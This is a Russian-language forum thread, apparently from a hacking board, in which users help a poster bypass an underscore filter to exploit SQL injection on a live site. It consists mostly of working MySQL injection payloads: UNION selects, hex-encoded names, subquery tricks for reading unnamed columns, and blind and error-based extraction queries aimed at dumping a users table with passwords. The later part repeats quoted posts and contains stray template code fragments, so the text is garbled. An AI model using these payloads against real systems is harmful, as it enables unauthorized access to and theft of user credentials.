Просмотр полной версии : Фильтрация нижнего подчеркивания
Перерыла весь интернет, а толку ноль
Надеюсь, что здесь смогут подсказать.
Передаю запрос, но если там встречается нижнее подчеркивание, то оно вырезается и все остальное в запросе тоже. Получается все названия столбцов/таблиц с подчеркиванием не проходят.
Например запрос вида: id=-480+union+select+user_id,2+from+users+--
Отбросится все начиная с _id,2+from+users+--
И в итоге запрос не исполнится.
Подскажите, пожалуйста, можно как обойти фильтр или это уже не эксплуатируемая инъекция?
aydin-ka
24.12.2011, 16:21
Используй Limit
id=-480+union+select+user_id,2+from+users+LIMIT+1,1 --
И каждый раз меняешь LIMIT 0,1 -- и .тд
P.S: кажется я вопроса не понял...
Обойти фильтр такими способами
1) вместо + пиши /**/
2) union = UnIoN
и .тд
Видимо не поняли...
Такое проходит, без подчеркивания:
id=-480+union+select+user,2+from+users+--
А с подчеркиванием режет, не проходит:
id=-480+union+select+user_id,2+from+users+--
Все что после подчеркивания вырезается.
Остается id=-480+union+select+user
Лимит и др тут не причем.
aydin-ka
24.12.2011, 17:02
Здесь режется _
Попробуйте закодировать. Функция CHAR()
listika said:
Передаю запрос, но если там встречается нижнее подчеркивание, то оно вырезается и все остальное в запросе тоже. Получается все названия столбцов/таблиц с подчеркиванием не проходят.
Подскажите, пожалуйста, можно как обойти фильтр или это уже не эксплуатируемая инъекция?
Предположим исходный запрос
Code:
select field_name from table_name
для MySql эквивалентным будет
Code:
select 0x6669656C645F6E616D65 from (select 0x7461626C655F6E616D65)k
а скрипт, который фильтрует, ищет подчеркивание (как символ "_"), т.е. посчитает запрос валидным.
=======
UPD
Совет не верный.
aydin-ka
24.12.2011, 17:18
nikp а так можно? или опять резать будет?
id=-480+union+select+UNHEX(HEX(user_id)),2+from+users+--
aydin-ka said:
nikp
а так можно? или опять резать будет?
id=-480+union+select+UNHEX(HEX(user_id)),2+from+users+--
Будет резать. ТС, пробуй:
id=-480+union+select+unhex(0x757365725f6964),2+from+us ers+LIMIT+1,1 --
Функция CHAR() никак не помогает, выводится константа раскодированная в итоге
Expl0ited
24.12.2011, 17:37
nikp said:
Предположим исходный запрос
Code:
select field_name from table_name
для MySql эквивалентным будет
Code:
select 0x6669656C645F6E616D65 from (select 0x7461626C655F6E616D65)k
а скрипт, который фильтрует, ищет подчеркивание (как символ "_"), т.е. посчитает запрос валидным.
хм, дык mysql будет воспринимать значение 0x6669656C645F6E616D65 как строку 'field_name', и в итоге вернет в скрипт не содержимое колонки field_name, с строку field_name
Я думаю в данном случае извратится с mysql не выйдет, и нужно искать способ обхода проверки символа _ в скрипте, например его урл-кодированным эквивалентом (%5f), или же другим способом.
Expl0ited said:
хм, дык mysql будет воспринимать значение 0x6669656C645F6E616D65 как строку 'field_name', и в итоге вернет в скрипт не содержимое колонки field_name, с строку field_name
все верно, так и возвращает...
Expl0ited
24.12.2011, 17:41
listika said:
все верно, так и возвращает...
Прочитай тут (https://antichat.live/showpost.php/p/2951491/postcount/10/), последнее предложение, мб получится, хотя шансов мало.
Ereee said:
Будет резать. ТС, пробуй:
id=-480+union+select+unhex(0x757365725f6964),2+from+us ers+LIMIT+1,1 --
запрос SELECT unhex( 0x757365725f6964 )
возвращает
unhex(0x757365725f6964)
NULL
Стaло быть никак =\ Ссылку в студио, пожалуйста!
Expl0ited said:
Я думаю в данном случае извратится с mysql не выйдет, и нужно искать способ обхода проверки символа _ в скрипте, например его урл-кодированным эквивалентом (%5f), или же другим способом.
%5f вырезалось как и просто с подчеркиванием
Ereee said:
Ссылку в студио, пожалуйста!
Не могу...
UPD2
Для поля таблицы можно попробовать такой обход.
Нужно подбирать количество полей в таблице users и местоположение интересующего поля.
Допустим таблица имеет три поля
user_id, user_name, user_password, тогда для вывода второго и третьего поля:
Code:
id=-480+union+select+concat(s2,0x3a,s3),2+from+(select +s2,s3+from(select+1,2+s2,3+s3+union+select+*+from +users)k)n--+
KolosJey
24.12.2011, 18:34
Вариант 1
Это можно попробывать сделать как-то так:
1 union select * from (select 1,2,3,4,5)b,users,(select 1,2,3,4)a
1 union select 6,users.*,2,3,4,5,1 from users
(полный запрос приводить не буду )
Но тут нужно несколько условий. Подробнее:
/threadnav43966-6-10.html
53-54 посты
Ну и конечно с information_schema попрощаться
Вариант 2
Искать двойной запрос и уже в нём нормально крутить в 0x
Вариант 3
Не ломать фрагорию (почему-то мне кажется что это именно она )) - это плохо кончится.
nikp
concat_ws не пропустит из-за "_"
Expl0ited
24.12.2011, 18:46
Ответ дан (https://antichat.live/showpost.php/p/2951534/postcount/16/) , тема закрыта. Если у ТС, что то не получится пусть отпишет мне в пм.
Expl0ited said:
listika said:
Если у ТС, что то не получится пусть отпишет мне в пм.
Не успела отправить сообщение...
nikp said:
UPD2
Для поля таблицы можно попробовать такой обход.
Нужно подбирать количество полей в таблице users и местоположение интересующего поля.
Допустим таблица имеет три поля
user_id, user_name, user_password, тогда для вывода второго и третьего поля:
Code:
id=-480+union+select+concat(s2,0x3a,s3),2+from+(select +s2,s3+from(select+1,2+s2,3+s3+union+select+*+from +users)k)n--+
Она еще и слепая. Использую такую конструкцию:
Code:
id=-480+OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select user from users limit 0,1), 1, 63), FLOOR(RAND(0)*2)))+--+
В таком случае ваш способ можно применить попробовать?
" if author else f"
listika said:
Если у ТС, что то не получится пусть отпишет мне в пм.
Не успела отправить сообщение...
nikp said:
UPD2
Для поля таблицы можно попробовать такой обход.
Нужно подбирать количество полей в таблице users и местоположение интересующего поля.
Допустим таблица имеет три поля
user_id, user_name, user_password, тогда для вывода второго и третьего поля:
Code:
id=-480+union+select+concat(s2,0x3a,s3),2+from+(select +s2,s3+from(select+1,2+s2,3+s3+union+select+*+from +users)k)n--+
Она еще и слепая. Использую такую конструкцию:
Code:
id=-480+OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select user from users limit 0,1), 1, 63), FLOOR(RAND(0)*2)))+--+
В таком случае ваш способ можно применить попробовать?
У тебя вывод в ошибке, или же всетаки она совсем слепая?
если она совсем слепая тогда вот валидная конструкция
Code:
id=480 and 1=if(mid((select concat(s2,0x3a,s3) from(select(s2),(s3)from(select(1),2 s2,3 s3,4 union(select * from users))k)n limit 1,1),1,1)='a',1,2)--+
Работать будет при условии, если в таблице users 4 колонки, и первый символ во второй колонке и второй записи таблицы равен 'a' вернет валидную страницу под id=480, если же нет то вернет пустую страницу, т.к. не выполнится условие. И перебирать в таком духе.
Если же у тебя вывод в ошибке, тогда:
Code:
id=480 and (select(max(1))from(mysql.user)group+by(concat(mid ((select concat(s2,0x3a,s3) from(select(s2),(s3)from(select(1),2 s2,3 s3,4 union(select * from users))k)n limit 1,1),1,60),0x00,floor(rand(0)*2))))--+
" if author else f"
Expl0ited said:
listika said:
Если у ТС, что то не получится пусть отпишет мне в пм.
Не успела отправить сообщение...
nikp said:
UPD2
Для поля таблицы можно попробовать такой обход.
Нужно подбирать количество полей в таблице users и местоположение интересующего поля.
Допустим таблица имеет три поля
user_id, user_name, user_password, тогда для вывода второго и третьего поля:
Code:
id=-480+union+select+concat(s2,0x3a,s3),2+from+(select +s2,s3+from(select+1,2+s2,3+s3+union+select+*+from +users)k)n--+
Она еще и слепая. Использую такую конструкцию:
Code:
id=-480+OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select user from users limit 0,1), 1, 63), FLOOR(RAND(0)*2)))+--+
В таком случае ваш способ можно применить попробовать?
" if author else f"
listika said:
Если у ТС, что то не получится пусть отпишет мне в пм.
Не успела отправить сообщение...
nikp said:
UPD2
Для поля таблицы можно попробовать такой обход.
Нужно подбирать количество полей в таблице users и местоположение интересующего поля.
Допустим таблица имеет три поля
user_id, user_name, user_password, тогда для вывода второго и третьего поля:
Code:
id=-480+union+select+concat(s2,0x3a,s3),2+from+(select +s2,s3+from(select+1,2+s2,3+s3+union+select+*+from +users)k)n--+
Она еще и слепая. Использую такую конструкцию:
Code:
id=-480+OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID((select user from users limit 0,1), 1, 63), FLOOR(RAND(0)*2)))+--+
В таком случае ваш способ можно применить попробовать?
У тебя вывод в ошибке, или же всетаки она совсем слепая?
если она совсем слепая тогда вот валидная конструкция
Code:
id=480 and 1=if(mid((select concat(s2,0x3a,s3) from(select(s2),(s3)from(select(1),2 s2,3 s3,4 union(select * from users))k)n limit 1,1),1,1)='a',1,2)--+
Работать будет при условии, если в таблице users 4 колонки, и первый символ во второй колонке и второй записи таблицы равен 'a' вернет валидную страницу под id=480, если же нет то вернет пустую страницу, т.к. не выполнится условие. И перебирать в таком духе.
Если же у тебя вывод в ошибке, тогда:
Code:
id=480 and (select(max(1))from(mysql.user)group+by(concat(mid ((select concat(s2,0x3a,s3) from(select(s2),(s3)from(select(1),2 s2,3 s3,4 union(select * from users))k)n limit 1,1),1,60),0x00,floor(rand(0)*2))))--+
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot